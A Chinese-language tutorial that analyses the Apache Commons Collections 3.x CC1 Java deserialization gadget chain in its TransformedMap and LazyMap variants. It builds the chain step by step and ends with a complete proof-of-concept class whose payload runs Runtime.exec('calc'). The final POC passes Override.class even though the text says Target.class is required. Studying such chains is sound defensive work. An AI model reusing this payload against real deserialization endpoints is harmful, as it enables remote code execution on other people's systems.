- 背景介绍
Apache Commons
是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons
由三部分组成:Proper(是一些已发布的项目)
、Sandbox(是一些正在开发的项目
)和Dormant(是一些刚启动或者已经停止维护的项目)
。Commons Collections
包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
Apache Commons Collections包和简介 闪烁之狐
- 首先 jdk 版本这里,要求的是 jdk8u65 的
●openJDK 8u65 需要导入源码,否则在调试的过程中,部分源码是由class文件反编译的,不好调试
●maven导入依赖
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
- 注意:Commons Collections的最新版是4.1,但由于工作中大多还是3.x的版本,这里就以3.x中的最后一个版本3.2.2作使用介绍。
以下是Collections的包结构和简单介绍,如果你想了解更多的各个包下的接口和实现,请参考Apache Commons Collections 3.2.2 API文档。
- org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
- org.apache.commons.collections.bag – 实现Bag接口的一组类
- org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
- org.apache.commons.collections.buffer – 实现Buffer接口的一组类
- org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
- org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
- org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
- org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
- org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
- org.apache.commons.collections.list – 实现java.util.List接口的一组类
- org.apache.commons.collections.map – 实现Map系列接口的一组类
- org.apache.commons.collections.set – 实现Set系列接口的一组类
TransformMap版CC1攻击链分析
- 明确反序列化链分析思路
我们在反序列化利用的过程中,我们需要一个readObject
方法来做入口
重写A.readObject方法,接受自己需要调用的O.aaa
方法 --> 调用O2.xxx
--> O3.abc
这样一个利用链,从而最后执行我们需要的危险方法
调用命令执行的点在:
- Runtime.getRuntime.exec( )
- 不同类的同名函数
- 任意方法调用(反射/动态加载字节码)
入口点 危险函数
- Transformer接口
- 实现Transform接口的方法
org.apache.commons.collections.functors.InvokerTransformer
这个类中的Transform方法将一个对象传进去,反射调用
- 方法名,参数类型,参数都可以在
InvokerTransformer
的构造方法中直接控制,这里就是一个很标准的任意方法调用
- 我们来构造命令执行的代码,下面这样就是通过反射调用Runtime类中的exec进行命令执行
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method exec = c.getMethod("exec", String.class);
exec.invoke(runtime,"calc");
- 然后我们现在把它改成
InvokerTransformer
中的构造方法,调用transform方法进行反射调用,而InvokerTransformer
构造方法中接受的是参数名,参数类型,参数值,我们在实例化对象的时候需要将这些参数传进去
- 我们这样构造payload依然可以弹出计算机
- 现在我们已经找到了入口处是InvokerTransformer.transform()方法可以传进去一个对象,然后可以执行反射调用危险函数,现在我们需要找到看看哪个类中还调用了transform方法
调用类
- 全文查找调用transform的地方
- 这里我们可以先设想一下,比如
org.apache.commons.collections.map.LazyMap
中get方法调用了transform方法,我们只需要找到另一个类中的readObject方法调用了get方法,链子就连起来了,这里我们先看org.apache.commons.collections.map.TransformedMap
这个类,这个类中多个地方调用了transform方法,我们从中突破的地方会大一些。
- 我们看到
checkSetValue()
方法中valueTransformer
调用了transform
方法,我们接下来到TransformedMap
的构造方法中查看valueTransformer
是怎么赋值的
- 从这里我们可以看到它的构造方法是被
protected
修饰的,说明它只能自己调用自己,我们继续找传值的方法
- 在类中的静态方法
decorate()
中使用TransformedMap()
的有参构造进行了实例化,传进去的值是一个map和对key,value的变形
- 这里我们回到payload里面构造一个hashmap,这里因为
valueTransformer
方法只对map中的value进行操作,所以我们只需要将value 的值设为刚刚执行命令的对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
TransformedMap.decorate(map,null,invokerTransformer);
- 我们继续寻找
checkSetValue()
方法在哪里被调用了
- 在
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator
中,我们找到了一个setValue()
的方法调用了checkSetValue()
,AbstractInputCheckedMapDecorator
是TransformedMap
的父类。
- entry是在map遍历的时候一个键值对就叫一个entry
map.put("key","value");
for (Map.Entry entry:map.entrySet()) {
entry.getValue();
}
- 我们继续构造payload,这里是思路是当我们在进行map遍历的时候,我们遍历的是
decorate()
返回值中的map,当我们使用setValue()
方法时,TransformedMap
中没有这个方法,他就会走到AbstractInputCheckedMapDecorator
中的setValue
方法,接着在setValue方法中,调用了checkValue
方法,就会走到TransformedMap
中的checkSetValue
方法,就会执行transform
方法
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<Object, Object>();
Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,invokerTransformer);
map.put("key","value");
for (Map.Entry entry:transformedMap.entrySet()) {
entry.setValue(runtime);
}
- 可以看到这里已经执行了计算器,接下来我们只需要找到一个(Map.Entry)Map遍历的地方调用了setValue方法,那我们就可以执行后半条链。
- 接下来我们找不同名的类调用setValue方法的地方
- 我们在
sun.reflect.annotation.AnnotationInvocationHandler
中找到它的readObject
方法调用了setValue
,我们跟进查看readObject
方法,发现他在方法里面进行了map的遍历,同时调用了setValue方法,这里就完美的满足我们之前的条件,我们继续看看这个类中有哪里是我们可以控制的
- 我们接下来查看
AnnotationInvocationHandler
的构造方法,这里传进去2个参数,一个是Class<? extends Annotation> type
注解的泛型,一个是Map<String, Object> memberValues
,这里我们第一个参数 第二个参数可以将之前构造好的transformedMap
传进去,然后在进行map遍历的时候就会触发setValue
- 我们先对
AnnotationInvocationHandler
类进行实例化,这里由于它没用访问修饰符,默认是default类型,只能在它的包下进行调用,所以我们这里应该使用反射进行实例化
- 构造pyaload,到这里我们将框架建好了但是这里有几个问题
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("key","value");
Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,invokerTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor= c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
- 问题
Runtime runtime = Runtime.getRuntime();
Runtime是不能进行序列化的,所以我们要用过反射进行调用它
Class<?> runtime = Class.forName("java.lang.Runtime");
Method getRuntime = runtime.getMethod("getRuntime", null);
Runtime r = (Runtime)getRuntime.invoke(null, null);
Method exec = runtime.getMethod("exec", String.class);
exec.invoke(r,"calc");
1. 在这里我们需要将它改为`InvokerTransformer().transform()`进行反射调用
Method getRuntime = (Method) new InvokerTransformer
("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer
("invoke",new Class[]{Object.class, Object[].class},
new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},
new Object[]{"calc"}).transform(r);
2. 这里使用的调用链,之前有`ChainedTransformer`中的`transform`方法可以直接进行链式调用
3. 先定义一个Transformer[],将需要链式调用的对象放进数组中,然后我们通过实例化对象掉用`chainedTransformer`的`transform`方法,这里将`Runtime.class`传进去,因为只有这个是我们可以控制的
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
AnnotationInvocationHandler
下的readObject
方法中的两个if判断- 第一个if,判断
declaredConstructor.newInstance(Override.class, transformedMap);
第一个参数是否有成员方法,并且map.put("key","value");
中的key还要改成他的成员方法的名字 Target
注解中有一个成员方法,value
,- 改为
declaredConstructor.newInstance(Target.class, transformedMap);
,map.put("value", "value");
- 第一个if,判断
AnnotationInvocationHandler
下的readObject
方法中调用的setValue
方法中传的值是一个新的对象,我们在这里需要将Runtime
对象传进去
ConstantTransformer
中有一个方法
- 构造payload
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
一个可以利用的POC
package ysoserial.ay;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* @ClassName Test
* @Author aY
* @Date 2023/3/5 18:10
* @Description
*/
public class TestCC1 {
public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
// Runtime runtime = Runtime.getRuntime();
// Class c = Runtime.class;
// Method exec = c.getMethod("exec", String.class);
// exec.invoke(runtime,"calc");
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
// Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
// Transformer[] transformers = new Transformer[]{
// new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
// };
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
new ConstantTransformer(1)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
// Class<?> runtime = Class.forName("java.lang.Runtime");
// Method getRuntime = runtime.getMethod("getRuntime", null);
// Runtime r = (Runtime)getRuntime.invoke(null, null);
// Method exec = runtime.getMethod("exec", String.class);
// exec.invoke(r,"calc");
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value", "value");
// map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer );
// for (Map.Entry entry:transformedMap.entrySet()) {
// entry.setValue(runtime);
// }
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
//封装serialize
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
//封装unserialize
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
LazyMap
- 在找不同类调用
transForm
方法时,还看到了一个LazyMap
也调用了transForm
方法,我们根据这个找一下链子
- 跟进
LazyMap
类中,发现factory
是一个Transformer
类型的,那么我们就可以将我们构造的chainedTransformer
传给factory
,以此来调用transform
方法
protected final Transformer factory;
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
if (map.containsKey(key) == false)
表示如果map中有key的话,直接返回,所以要进入if里面不需要设置key的值- 我们接着往回找,这里还需要找一个入口,就是入口类的object中调用了什么东西,然后这个东西又调用了get方法
- 构造链
//LazyMap
HashMap<Object, Object> map = new HashMap<Object, Object>();
Map<Object, Object> lazyMaptransform = LazyMap.decorate(map, chainedTransformer );
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazyMaptransform);
Map map2 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = declaredConstructor.newInstance(Override.class, map2);
serialize(o);
unserialize("ser.bin");